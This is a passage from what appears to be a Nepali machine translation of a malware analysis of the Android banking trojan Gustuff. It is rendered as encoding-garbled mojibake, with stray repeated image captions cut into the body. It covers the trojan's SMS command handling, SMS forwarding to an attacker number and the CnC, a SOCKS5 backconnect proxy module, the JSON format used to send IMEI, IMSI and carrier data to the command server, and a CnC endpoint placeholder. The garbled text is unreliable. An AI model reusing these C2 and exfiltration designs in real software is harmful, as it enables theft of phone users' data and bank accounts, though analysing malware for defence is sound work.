рдЕрдиреБрдкреНрд░рдпреЛрдЧрд▓реЗ рд╕рдмреИ рдЖрдЧрдорди SMS рд╕рдиреНрджреЗрд╢рд╣рд░реВрдорд╛ рд╕реНрдЯреНрд░рд┐рдЩ рдЦреЛрдЬреНрдЫ рен!рел=, рдЬрдм рд╕реНрдЯреНрд░рд┐рдЩ рдкрддреНрддрд╛ рд▓рдЧрд╛рдЗрдиреНрдЫ, рдпрд╕рд▓реЗ рдЕрдлрд╕реЗрдЯ 64 рдорд╛ Base4 рдмрд╛рдЯ рд╕реНрдЯреНрд░рд┐рдЩ рдбрд┐рдХреЛрдб рдЧрд░реНрдЫ рд░ рдЖрджреЗрд╢ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдЧрд░реНрджрдЫред рдЖрджреЗрд╢рд╣рд░реВ CnC рд╕рдБрдЧ рдорд┐рд▓реНрджреЛрдЬреБрд▓реНрджреЛ рдЫрдиреНред рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдкрд░рд┐рдгрд╛рдо рддреНрдпрд╣реА рдирдореНрдмрд░рдорд╛ рдкрдард╛рдЗрдиреНрдЫ рдЬрд╣рд╛рдБрдмрд╛рдЯ рдЖрджреЗрд╢ рдЖрдПрдХреЛ рдерд┐рдпреЛред рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдврд╛рдБрдЪрд╛:

7*5=<%Base64 encode of тАЬresult_code commandтАЭ%>

рд╡реИрдХрд▓реНрдкрд┐рдХ рд░реВрдкрдорд╛, рдЕрдиреБрдкреНрд░рдпреЛрдЧрд▓реЗ рд╕рдмреИ рдкреНрд░рд╛рдкреНрдд рд╕рдиреНрджреЗрд╢рд╣рд░реВ рд░реВрдЯ рдирдореНрдмрд░рдорд╛ рдкрдард╛рдЙрди рд╕рдХреНрдЫред рдпреЛ рдЧрд░реНрдирдХреЛ рд▓рд╛рдЧрд┐, рд░реБрдЯ рдирдореНрдмрд░ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рдлрд╛рдЗрд▓рдорд╛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд╣реБрдиреБрдкрд░реНрдЫ рд░ рд╕рдиреНрджреЗрд╢ рдкреБрди: рдирд┐рд░реНрджреЗрд╢рд┐рдд рдЭрдгреНрдбрд╛ рд╕реЗрдЯ рд╣реБрдиреБрдкрд░реНрдЫред рдврд╛рдБрдЪрд╛рдорд╛ рдЖрдХреНрд░рдордгрдХрд╛рд░реАрдХреЛ рдирдореНрдмрд░рдорд╛ рдПрд╕рдПрдордПрд╕ рд╕рдиреНрджреЗрд╢ рдкрдард╛рдЗрдиреНрдЫ:

<% рдирдореНрдмрд░рдмрд╛рдЯ%> - <%рд╕рдордп, рдврд╛рдБрдЪрд╛: dd/MM/yyyy HH:mm:ss%> <%SMS body%>

рд╕рд╛рдереИ, рд╡реИрдХрд▓реНрдкрд┐рдХ рд░реВрдкрдорд╛, рдЕрдиреБрдкреНрд░рдпреЛрдЧрд▓реЗ CnC рдорд╛ рд╕рдиреНрджреЗрд╢рд╣рд░реВ рдкрдард╛рдЙрди рд╕рдХреНрдЫред SMS рд╕рдиреНрджреЗрд╢ JSON рдврд╛рдБрдЪрд╛рдорд╛ рд╕рд░реНрднрд░рдорд╛ рдкрдард╛рдЗрдиреНрдЫ:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

рдпрджрд┐ рдЭрдгреНрдбрд╛ рд╕реЗрдЯ рдЧрд░рд┐рдПрдХреЛ рдЫ nameGenerator("DEFAULT_APP_SMS") - рдЕрдиреБрдкреНрд░рдпреЛрдЧрд▓реЗ SMS рд╕рдиреНрджреЗрд╢ рдкреНрд░рд╢реЛрдзрди рд░реЛрдХреНрдЫ рд░ рдЖрдЧрдорди рд╕рдиреНрджреЗрд╢рд╣рд░реВрдХреЛ рд╕реВрдЪреА рдЦрд╛рд▓реА рдЧрд░реНрджрдЫред

рдкреНрд░реЛрдХреНрд╕реА рдореЛрдбреНрдпреБрд▓

рдЕрдзреНрдпрдпрди рдЕрдиреНрддрд░реНрдЧрддрдХреЛ рдЕрдиреБрдкреНрд░рдпреЛрдЧрд▓реЗ рдмреНрдпрд╛рдХрдХрдиреЗрдХреНрдЯ рдкреНрд░реЛрдХреНрд╕реА рдореЛрдбреНрдпреБрд▓ рд╕рдорд╛рд╡реЗрд╢ рдЧрд░реНрджрдЫ (рдпрд╕рдкрдЫрд┐ рдкреНрд░реЛрдХреНрд╕реА рдореЛрдбреНрдпреБрд▓ рднрдирд┐рдиреНрдЫ), рдЬрд╕рдорд╛ рдХрдиреНрдлрд┐рдЧрд░реЗрд╕рдирдХреЛ рд╕рд╛рде рд╕реНрдерд┐рд░ рдХреНрд╖реЗрддреНрд░рд╣рд░реВ рд╕рдорд╛рд╡реЗрд╢ рдЧрд░реНрдиреЗ рдЫреБрдЯреНрдЯреИ рд╡рд░реНрдЧ рдЫред рдХрдиреНрдлрд┐рдЧрд░реЗрд╕рди рдбрд╛рдЯрд╛ рдирдореВрдирд╛рдорд╛ рд╕реНрдкрд╖реНрдЯ рд░реВрдкрдорд╛ рднрдгреНрдбрд╛рд░ рдЧрд░рд┐рдПрдХреЛ рдЫ:

рдХрд╕рд░реА рдПрдиреНрдбреНрд░реЛрдЗрдб рдЯреНрд░реЛрдЬрди рдЧрд╕реНрдЯрдлрд▓реЗ рддрдкрд╛рдИрдВрдХреЛ рдЦрд╛рддрд╛рд╣рд░реВрдмрд╛рдЯ рдХреНрд░реАрдо (рдлрд┐рдпрд╛рдЯ рд░ рдХреНрд░рд┐рдкреНрдЯреЛ) рд╕реНрдХрд┐рдо рдЧрд░реНрджрдЫ

рдкреНрд░реЛрдХреНрд╕реА рдореЛрдбреНрдпреБрд▓рджреНрд╡рд╛рд░рд╛ рдЧрд░рд┐рдПрдХрд╛ рд╕рдмреИ рдХрд╛рд░реНрдпрд╣рд░реВ рдлрд╛рдЗрд▓рд╣рд░реВрдорд╛ рд▓рдЧрдЗрди рд╣реБрдиреНрдЫрдиреНред рдпреЛ рдЧрд░реНрдирдХреЛ рд▓рд╛рдЧрд┐, рдмрд╛рд╣реНрдп рднрдгреНрдбрд╛рд░рдгрдорд╛ рд░рд╣реЗрдХреЛ рдЕрдиреБрдкреНрд░рдпреЛрдЧрд▓реЗ "рд▓рдЧрд╣рд░реВ" (рдХрдиреНрдлрд┐рдЧрд░реЗрд╕рди рд╡рд░реНрдЧрдорд╛ ProxyConfigClass.logsDir рдлрд┐рд▓реНрдб) рдирд╛рдордХ рдбрд╛рдЗрд░реЗрдХреНрдЯрд░реА рд╕рд┐рд░реНрдЬрдирд╛ рдЧрд░реНрджрдЫ, рдЬрд╕рдорд╛ рд▓рдЧ рдлрд╛рдЗрд▓рд╣рд░реВ рднрдгреНрдбрд╛рд░рдг рдЧрд░рд┐рдиреНрдЫред рд▓рдЧрд┐рдЩ рдирд╛рдорд╣рд░реВрдХреЛ рд╕рд╛рде рдлрд╛рдЗрд▓рд╣рд░реВрдорд╛ рд╣реБрдиреНрдЫ:

  1. main.txt - CommandServer рднрдирд┐рдиреЗ рдХреНрд▓рд╛рд╕рдХреЛ рдХрд╛рдо рдпрд╕ рдлрд╛рдЗрд▓рдорд╛ рд▓рдЧрдЗрди рдЧрд░рд┐рдПрдХреЛ рдЫред рдирд┐рдореНрдирдорд╛, рдпрд╕ рдлрд╛рдЗрд▓рдорд╛ рд╕реНрдЯреНрд░рд┐рдЩ рд╕реНрдЯреНрд░рд┐рдЩ рд▓рдЧрд┐рдЩ рдЧрд░реНрджрд╛ mainLog(str) рдХреЛ рд░реВрдкрдорд╛ рдмреБрдЭрд╛рдЗрдиреЗрдЫред
  2. рд╕рддреНрд░-<%id%>.txt тАФ рдпреЛ рдлрд╛рдЗрд▓рд▓реЗ рд╡рд┐рд╢реЗрд╖ рдкреНрд░реЛрдХреНрд╕реА рд╕рддреНрд░рд╕рдБрдЧ рд╕рдореНрдмрдиреНрдзрд┐рдд рд▓рдЧ рдбрд╛рдЯрд╛ рдмрдЪрдд рдЧрд░реНрдЫред рдирд┐рдореНрдирдорд╛, рдпрд╕ рдлрд╛рдЗрд▓рдорд╛ рд╕реНрдЯреНрд░рд┐рдЩ рд╕реНрдЯреНрд░рд┐рдЩ рд▓рдЧрд┐рдЩ рдЧрд░реНрджрд╛ sessionLog (str) рдХреЛ рд░реВрдкрдорд╛ рдмреБрдЭрд╛рдЗрдиреЗрдЫред
  3. server.txt - рдпреЛ рдлрд╛рдЗрд▓ рдорд╛рдерд┐ рд╡рд░реНрдгрди рдЧрд░рд┐рдПрдХрд╛ рдлрд╛рдЗрд▓рд╣рд░реВрдорд╛ рд▓реЗрдЦрд┐рдПрдХрд╛ рд╕рдмреИ рдбрд╛рдЯрд╛ рд▓рдЧ рдЧрд░реНрди рдкреНрд░рдпреЛрдЧ рдЧрд░рд┐рдиреНрдЫред

рд▓рдЧ рдбрд╛рдЯрд╛ рдврд╛рдБрдЪрд╛:

<%рдорд┐рддрд┐%> [рдереНрд░реЗрдб[<%рдереНрд░реЗрдб рдЖрдИрдбреА%>], рдЖрдИрдбреА[]]: рд▓рдЧ-рд╕реНрдЯреНрд░рд┐рдЩ

рдкреНрд░реЛрдХреНрд╕реА рдореЛрдбреНрдпреБрд▓рдХреЛ рд╕рдЮреНрдЪрд╛рд▓рдирдХреЛ рдХреНрд░рдордорд╛ рд╣реБрдиреЗ рдЕрдкрд╡рд╛рджрд╣рд░реВ рдкрдирд┐ рдлрд╛рдЗрд▓рдорд╛ рд▓рдЧрдЗрди рд╣реБрдиреНрдЫрдиреНред рдпреЛ рдЧрд░реНрдирдХреЛ рд▓рд╛рдЧрд┐, рдЕрдиреБрдкреНрд░рдпреЛрдЧрд▓реЗ рдирд┐рдореНрди рдврд╛рдБрдЪрд╛рдорд╛ JSON рд╡рд╕реНрддреБ рдЙрддреНрдкрдиреНрди рдЧрд░реНрджрдЫ:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

рддреНрдпрд╕рдкрдЫрд┐ рдпрд╕рд▓реЗ рдпрд╕рд▓рд╛рдИ рд╕реНрдЯреНрд░рд┐рдЩ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡рдорд╛ рд░реВрдкрд╛рдиреНрддрд░рдг рдЧрд░реНрдЫ рд░ рдпрд╕рд▓рд╛рдИ рд▓рдЧ рдЧрд░реНрдЫред

рдкреНрд░реЛрдХреНрд╕реА рдореЛрдбреНрдпреБрд▓ рд╕рдореНрдмрдиреНрдзрд┐рдд рдЖрджреЗрд╢ рдкреНрд░рд╛рдкреНрдд рдЧрд░реЗрдкрдЫрд┐ рд╕реБрд░реБ рд╣реБрдиреНрдЫред рдЬрдм рдкреНрд░реЛрдХреНрд╕реА рдореЛрдбреНрдпреБрд▓ рд╕реБрд░реБ рдЧрд░реНрди рдЖрджреЗрд╢ рдкреНрд░рд╛рдкреНрдд рд╣реБрдиреНрдЫ, рдЕрдиреБрдкреНрд░рдпреЛрдЧрд▓реЗ рд╕реЗрд╡рд╛ рд╕реБрд░реБ рдЧрд░реНрджрдЫ рдореБрдЦреНрдп рд╕реЗрд╡рд╛, рдЬреБрди рдкреНрд░реЛрдХреНрд╕реА рдореЛрдбреНрдпреБрд▓рдХреЛ рд╕рдЮреНрдЪрд╛рд▓рди рдкреНрд░рдмрдиреНрдз рдЧрд░реНрди рдЬрд┐рдореНрдореЗрд╡рд╛рд░ рдЫ - рдпрд╕рд▓рд╛рдИ рд╕реБрд░реБ рдЧрд░реНрдиреЗ рд░ рд░реЛрдХреНрдиред

рд╕реЗрд╡рд╛ рд╕реБрд░реБ рдЧрд░реНрдиреЗ рдЪрд░рдгрд╣рд░реВ:

1. рдЯрд╛рдЗрдорд░ рд╕реБрд░реБ рдЧрд░реНрдЫ рдЬреБрди рдПрдХ рдорд┐рдиреЗрдЯрдорд╛ рдПрдХ рдкрдЯрдХ рдЪрд▓реНрдЫ рд░ рдкреНрд░реЛрдХреНрд╕реА рдореЛрдбреНрдпреБрд▓рдХреЛ рдЧрддрд┐рд╡рд┐рдзрд┐ рдЬрд╛рдБрдЪ рдЧрд░реНрджрдЫред рдпрджрд┐ рдореЛрдбреНрдпреБрд▓ рд╕рдХреНрд░рд┐рдп рдЫреИрди рднрдиреЗ, рдпреЛ рд╕реБрд░реБ рд╣реБрдиреНрдЫред
рдШрдЯрдирд╛ рдЯреНрд░рд┐рдЧрд░ рд╣реБрдБрджрд╛ рдкрдирд┐ android.net.conn.CONNECTIVITY_CHANGE рдкреНрд░реЛрдХреНрд╕реА рдореЛрдбреНрдпреБрд▓ рд╕реБрд░реБ рднрдПрдХреЛ рдЫред

2. рдЕрдиреБрдкреНрд░рдпреЛрдЧрд▓реЗ рдкреНрдпрд╛рд░рд╛рдорд┐рдЯрд░рдХреЛ рд╕рд╛рде рд╡реЗрдХ-рд▓рдХ рд╕рд┐рд░реНрдЬрдирд╛ рдЧрд░реНрджрдЫ PARTIAL_WAKE_LOCK рд░ рдЙрд╕рд▓рд╛рдИ рд╕рдорд╛рддреНрдЫред рдпрд╕рд▓реЗ рдпрдиреНрддреНрд░ CPU рд▓рд╛рдИ рдирд┐рджреНрд░рд╛ рдореЛрдбрдорд╛ рдЬрд╛рдирдмрд╛рдЯ рд░реЛрдХреНрдЫред

3. рдкреНрд░реЛрдХреНрд╕реА рдореЛрдбреНрдпреБрд▓рдХреЛ рдХрдорд╛рдгреНрдб рдкреНрд░реЛрд╕реЗрд╕рд┐рдЩ рдХреНрд▓рд╛рд╕ рд╕реБрд░реБ рдЧрд░реНрдЫ, рдкрд╣рд┐рд▓реЗ рд▓рд╛рдЗрди рд▓рдЧрд┐рдЩ рдЧрд░реНрджреИ mainLog ("рд╕реНрдЯрд╛рд░реНрдЯ рд╕рд░реНрднрд░") ╨╕

рд╕рд░реНрднрд░::рд╕реНрдЯрд╛рд░реНрдЯ() рд╣реЛрд╕реНрдЯ[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]

рдЬрд╣рд╛рдБ proxy_cnc, command_port рд░ proxy_port - рдкреНрд░реЛрдХреНрд╕реА рд╕рд░реНрднрд░ рдХрдиреНрдлрд┐рдЧрд░реЗрд╕рдирдмрд╛рдЯ рдкреНрд░рд╛рдкреНрдд рдкреНрдпрд╛рд░рд╛рдорд┐рдЯрд░рд╣рд░реВред

рдЖрджреЗрд╢ рдкреНрд░рд╢реЛрдзрди рд╡рд░реНрдЧ рднрдирд┐рдиреНрдЫ рдХрдорд╛рдгреНрдб рдЬрдбрд╛рдиред рд╕реНрдЯрд╛рд░реНрдЯрдЕрдк рдкрдЫрд┐ рддреБрд░реБрдиреНрддреИ, рдирд┐рдореНрди рдХрд╛рд░реНрдпрд╣рд░реВ рдкреНрд░рджрд░реНрд╢рди рдЧрд░реНрджрдЫ:

4. рдорд╛ рдЬрдбрд╛рди рдЧрд░реНрджрдЫ ProxyConfigClass.host: ProxyConfigClass.commandPort рд░ JSON рдврд╛рдБрдЪрд╛рдорд╛ рддреНрдпрд╣рд╛рдБ рд╕рдВрдХреНрд░рдорд┐рдд рдпрдиреНрддреНрд░рдХреЛ рдмрд╛рд░реЗрдорд╛ рдбреЗрдЯрд╛ рдкрдард╛рдЙрдБрдЫ:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

рдХрд╣рд╛рдВ

  • id - рдкрд╣рд┐рдЪрд╛рдирдХрд░реНрддрд╛, "x" рдирд╛рдордХреЛ рд╕рд╛рдЭрд╛ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рдлрд╛рдЗрд▓рдмрд╛рдЯ "id" рдлрд┐рд▓реНрдбрдХреЛ рд╕рд╛рде рдорд╛рди рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрдиреЗ рдкреНрд░рдпрд╛рд╕ рдЧрд░реНрджрдЫред рдпрджрд┐ рдпреЛ рдорд╛рди рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрди рд╕рдХрд┐рдПрди рднрдиреЗ, рдпрд╕рд▓реЗ рдирдпрд╛рдБ рдЙрддреНрдкрдиреНрди рдЧрд░реНрджрдЫред рдпрд╕рд░реА, рдкреНрд░реЛрдХреНрд╕реА рдореЛрдбреНрдпреБрд▓рдХреЛ рдЖрдлреНрдиреИ рдкрд╣рд┐рдЪрд╛рдирдХрд░реНрддрд╛ рд╣реБрдиреНрдЫ, рдЬреБрди Bot ID рдЬрд╕реНрддреИ рдЙрддреНрдкрдиреНрди рд╣реБрдиреНрдЫред
  • imei - рдпрдиреНрддреНрд░рдХреЛ IMEIред рдпрджрд┐ рдорд╛рди рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрдиреЗ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдорд╛ рддреНрд░реБрдЯрд┐ рднрдпреЛ рднрдиреЗ, рдпреЛ рдХреНрд╖реЗрддреНрд░рдХреЛ рд╕рдЯреНрдЯрд╛ рддреНрд░реБрдЯрд┐ рдкрд╛рда рд╕рдиреНрджреЗрд╢ рд▓реЗрдЦрд┐рдиреЗрдЫред
  • imsi - рдЙрдкрдХрд░рдгрдХреЛ рдЕрдиреНрддрд░реНрд░рд╛рд╖реНрдЯреНрд░рд┐рдп рдореЛрдмрд╛рдЗрд▓ рдЧреНрд░рд╛рд╣рдХ рдкрд╣рд┐рдЪрд╛рдиред рдпрджрд┐ рдорд╛рди рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрдиреЗ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдорд╛ рддреНрд░реБрдЯрд┐ рднрдпреЛ рднрдиреЗ, рдпреЛ рдХреНрд╖реЗрддреНрд░рдХреЛ рд╕рдЯреНрдЯрд╛ рддреНрд░реБрдЯрд┐ рдкрд╛рда рд╕рдиреНрджреЗрд╢ рд▓реЗрдЦрд┐рдиреЗрдЫред
  • рдореЛрдбреЗрд▓ - рдЕрдиреНрддрд┐рдо рдЙрддреНрдкрд╛рджрдирдХреЛ рд▓рд╛рдЧрд┐ рдЕрдиреНрддрд┐рдо-рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛-рджреГрд╢реНрдп рдирд╛рдоред
  • рдирд┐рд░реНрдорд╛рддрд╛ тАФ рдЙрддреНрдкрд╛рджрди/рд╣рд╛рд░реНрдбрд╡реЗрдпрд░рдХреЛ рдирд┐рд░реНрдорд╛рддрд╛ (Build.MANUFACTURER)ред
  • androidVersion - "<%release_version%> (<%os_version%>),<%sdk_version%>" рдврд╛рдБрдЪрд╛рдорд╛ рдПрдЙрдЯрд╛ рд╕реНрдЯреНрд░рд┐рдЩ
  • рджреЗрд╢ - рдЙрдкрдХрд░рдгрдХреЛ рд╣рд╛рд▓рдХреЛ рд╕реНрдерд╛рдиред
  • рдкрд╛рд░реНрдЯрдирд░рдЖрдИрдбреА рдПрдЙрдЯрд╛ рдЦрд╛рд▓реА рд╕реНрдЯреНрд░рд┐рдЩ рд╣реЛред
  • рдкреНрдпрд╛рдХреЗрдЬ рдирд╛рдо - рдкреНрдпрд╛рдХреЗрдЬ рдирд╛рдоред
  • networkType тАФ рд╣рд╛рд▓рдХреЛ рдиреЗрдЯрд╡рд░реНрдХ рдЬрдбрд╛рдирдХреЛ рдкреНрд░рдХрд╛рд░ (рдЙрджрд╛рд╣рд░рдг: "WIFI", "MOBILE")ред рддреНрд░реБрдЯрд┐рдХреЛ рдЕрд╡рд╕реНрдерд╛рдорд╛, рд╢реВрдиреНрдп рдлрд░реНрдХрд╛рдЙрдБрдЫред
  • hasGsmSupport - рд╕рддреНрдп - рдпрджрд┐ рдлреЛрдирд▓реЗ GSM рд╕рдорд░реНрдерди рдЧрд░реНрджрдЫ, рдЕрдиреНрдпрдерд╛ рдЧрд▓рддред
  • simReady - рд╕рд┐рдо рдХрд╛рд░реНрдб рд╕реНрдерд┐рддрд┐ред
  • simCountry - ISO рджреЗрд╢ рдХреЛрдб (рд╕рд┐рдо рдХрд╛рд░реНрдб рдкреНрд░рджрд╛рдпрдХрдорд╛ рдЖрдзрд╛рд░рд┐рдд)ред
  • рдиреЗрдЯрд╡рд░реНрдХ рдЕрдкрд░реЗрдЯрд░ - рдЕрдкрд░реЗрдЯрд░ рдирд╛рдоред рдпрджрд┐ рдорд╛рди рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрдиреЗ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдорд╛ рддреНрд░реБрдЯрд┐ рднрдпреЛ рднрдиреЗ, рдпреЛ рдХреНрд╖реЗрддреНрд░рдХреЛ рд╕рдЯреНрдЯрд╛ рддреНрд░реБрдЯрд┐ рдкрд╛рда рд╕рдиреНрджреЗрд╢ рд▓реЗрдЦрд┐рдиреЗрдЫред
  • simOperator тАФ рд╕реЗрд╡рд╛ рдкреНрд░рджрд╛рдпрдХрдХреЛ рдирд╛рдо (SPN)ред рдпрджрд┐ рдорд╛рди рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрдиреЗ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдорд╛ рддреНрд░реБрдЯрд┐ рднрдпреЛ рднрдиреЗ, рдпреЛ рдХреНрд╖реЗрддреНрд░рдХреЛ рд╕рдЯреНрдЯрд╛ рддреНрд░реБрдЯрд┐ рдкрд╛рда рд╕рдиреНрджреЗрд╢ рд▓реЗрдЦрд┐рдиреЗрдЫред
  • рд╕рдВрд╕реНрдХрд░рдг - рдпреЛ рдХреНрд╖реЗрддреНрд░ рдХрдиреНрдлрд┐рдЧрд░реЗрд╕рди рд╡рд░реНрдЧрдорд╛ рднрдгреНрдбрд╛рд░ рдЧрд░рд┐рдПрдХреЛ рдЫ; рдмреЛрдЯрдХреЛ рдкрд░реАрдХреНрд╖рдг рд╕рдВрд╕реНрдХрд░рдгрд╣рд░реВрдХреЛ рд▓рд╛рдЧрд┐ рдпреЛ "1.6" рдмрд░рд╛рдмрд░ рдерд┐рдпреЛред

5. рд╕рд░реНрднрд░рдмрд╛рдЯ рдЖрджреЗрд╢рд╣рд░реВрдХреЛ рдкреНрд░рддреАрдХреНрд╖рд╛ рдЧрд░реНрдиреЗ рдореЛрдбрдорд╛ рд╕реНрд╡рд┐рдЪ рдЧрд░реНрджрдЫред рд╕рд░реНрднрд░рдмрд╛рдЯ рдЖрджреЗрд╢рд╣рд░реВ рдврд╛рдБрдЪрд╛рдорд╛ рдЖрдЙрдБрдЫрдиреН:

  • 0 рдЕрдлрд╕реЗрдЯ - рдЖрджреЗрд╢
  • рез рдЕрдлрд╕реЗрдЯ - рд╕рддреНрд░ рдЖрдИрдбреА
  • 2 рдЕрдлрд╕реЗрдЯ - рд▓рдореНрдмрд╛рдЗ
  • 4 рдЕрдлрд╕реЗрдЯ - рдбрд╛рдЯрд╛

рдЬрдм рдЖрджреЗрд╢ рдЖрдЙрдБрдЫ, рдЕрдиреБрдкреНрд░рдпреЛрдЧ рд▓рдЧ:
mainLog("рд╣реЗрдбрд░ { sessionId<%id%>], type[<%command%>], length[<%length%>] }")

рд╕рд░реНрднрд░рдмрд╛рдЯ рдирд┐рдореНрди рдЖрджреЗрд╢рд╣рд░реВ рд╕рдореНрднрд╡ рдЫрдиреН:

рдирд╛рдо рдЖрджреЗрд╢ рддрдереНрдпрд╛рдЩреНрдХ рд╡рд┐рд╡рд░рдг
рдЬрдбрд╛рди рдЖрдИрдбреА 0 рдЬрдбрд╛рди ID рдирдпрд╛рдБ рдЬрдбрд╛рди рд╕рд┐рд░реНрдЬрдирд╛ рдЧрд░реНрдиреБрд╣реЛрд╕реН
рд╕реНрд▓реАрдк 3 рд╕рдордп рдкреНрд░реЛрдХреНрд╕реА рдореЛрдбреНрдпреБрд▓ рдкрдЬ рдЧрд░реНрдиреБрд╣реЛрд╕реН
рдкрд┐рдВрдЧрдкреЛрдВрдЧ 4 - PONG рд╕рдиреНрджреЗрд╢ рдкрдард╛рдЙрдиреБрд╣реЛрд╕реН

PONG рд╕рдиреНрджреЗрд╢рдорд╛ 4 рдмрд╛рдЗрдЯрд╣рд░реВ рд╣реБрдиреНрдЫрдиреН рд░ рдпреЛ рдЬрд╕реНрддреЛ рджреЗрдЦрд┐рдиреНрдЫ: 0x04000000.

рдЬрдм connectId рдЖрджреЗрд╢ рдкреНрд░рд╛рдкреНрдд рд╣реБрдиреНрдЫ (рдирдпрд╛рдБ рдЬрдбрд╛рди рд╕рд┐рд░реНрдЬрдирд╛ рдЧрд░реНрди) рдХрдорд╛рдгреНрдб рдЬрдбрд╛рди рд╡рд░реНрдЧрдХреЛ рдЙрджрд╛рд╣рд░рдг рд╕рд┐рд░реНрдЬрдирд╛ рдЧрд░реНрджрдЫ рдкреНрд░реЛрдХреНрд╕реА рдЬрдбрд╛рди.

  • рджреБрдИ рд╡рд░реНрдЧрд╣рд░реВ рдкреНрд░реЛрдХреНрд╕реАрдорд╛ рднрд╛рдЧ рд▓рд┐рдиреНрдЫрдиреН: рдкреНрд░реЛрдХреНрд╕реА рдЬрдбрд╛рди ╨╕ рдЕрдиреНрддред рдХрдХреНрд╖рд╛ рд╕рд┐рд░реНрдЬрдирд╛ рдЧрд░реНрджрд╛ рдкреНрд░реЛрдХреНрд╕реА рдЬрдбрд╛рди рдареЗрдЧрд╛рдирд╛рдорд╛ рдЬрдбрд╛рди рдЧрд░реНрджреИ ProxyConfigClass.host: ProxyConfigClass.proxyPort рд░ JSON рд╡рд╕реНрддреБ рдкрд╛рд╕ рдЧрд░реНрджреИ:

 {
    "id":<%connectionId%>
}

рдЬрд╡рд╛рдлрдорд╛, рд╕рд░реНрднрд░рд▓реЗ SOCKS5 рд╕рдиреНрджреЗрд╢ рдкрдард╛рдЙрдБрдЫ рдЬрд╕рдорд╛ рд░рд┐рдореЛрдЯ рд╕рд░реНрднрд░рдХреЛ рдареЗрдЧрд╛рдирд╛ рд╕рдорд╛рд╡реЗрд╢ рд╣реБрдиреНрдЫ рдЬрд╕рд╕рдБрдЧ рдЬрдбрд╛рди рд╕реНрдерд╛рдкрд┐рдд рд╣реБрдиреБрдкрд░реНрдЫред рдпрд╕ рд╕рд░реНрднрд░рд╕рдБрдЧ рдЕрдиреНрддрд░рдХреНрд░рд┐рдпрд╛ рдХрдХреНрд╖рд╛ рдорд╛рд░реНрдлрдд рд╣реБрдиреНрдЫ рдЕрдиреНрддред рдЬрдбрд╛рди рд╕реЗрдЯрдЕрдк рдпреЛрдЬрдирд╛рдмрджреНрдз рд░реВрдкрдорд╛ рдирд┐рдореНрди рд░реВрдкрдорд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдЧрд░реНрди рд╕рдХрд┐рдиреНрдЫ:

рдХрд╕рд░реА рдПрдиреНрдбреНрд░реЛрдЗрдб рдЯреНрд░реЛрдЬрди рдЧрд╕реНрдЯрдлрд▓реЗ рддрдкрд╛рдИрдВрдХреЛ рдЦрд╛рддрд╛рд╣рд░реВрдмрд╛рдЯ рдХреНрд░реАрдо (рдлрд┐рдпрд╛рдЯ рд░ рдХреНрд░рд┐рдкреНрдЯреЛ) рд╕реНрдХрд┐рдо рдЧрд░реНрджрдЫ

рдиреЗрдЯрд╡рд░реНрдХ рдЕрдиреНрддрд░рдХреНрд░рд┐рдпрд╛

рдиреЗрдЯрд╡рд░реНрдХ рд╕реНрдирд┐рдлрд░рд╣рд░реВ рджреНрд╡рд╛рд░рд╛ рдЯреНрд░рд╛рдлрд┐рдХ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рд░реЛрдХреНрдирдХреЛ рд▓рд╛рдЧрд┐, CnC рд╕рд░реНрднрд░ рд░ рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдмреАрдЪрдХреЛ рдЕрдиреНрддрд░рдХреНрд░рд┐рдпрд╛рд▓рд╛рдИ SSL рдкреНрд░реЛрдЯреЛрдХрд▓ рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░ рд╕реБрд░рдХреНрд╖рд┐рдд рдЧрд░реНрди рд╕рдХрд┐рдиреНрдЫред рд╕рд░реНрднрд░рдмрд╛рдЯ рд░ рд╕рд░реНрднрд░рдорд╛ рдкрдард╛рдЗрдПрдХрд╛ рд╕рдмреИ рдбреЗрдЯрд╛ JSON рдврд╛рдБрдЪрд╛рдорд╛ рдкреНрд░рд╕реНрддреБрдд рдЧрд░рд┐рдиреНрдЫред рдЕрдиреБрдкреНрд░рдпреЛрдЧрд▓реЗ рд╕рдЮреНрдЪрд╛рд▓рдирдХреЛ рдХреНрд░рдордорд╛ рдирд┐рдореНрди рдЕрдиреБрд░реЛрдзрд╣рд░реВ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдЧрд░реНрджрдЫ:

  • http://<%CnC%>/api/v1/set_state.php - рдЖрджреЗрд╢ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдХреЛ рдкрд░рд┐рдгрд╛рдоред
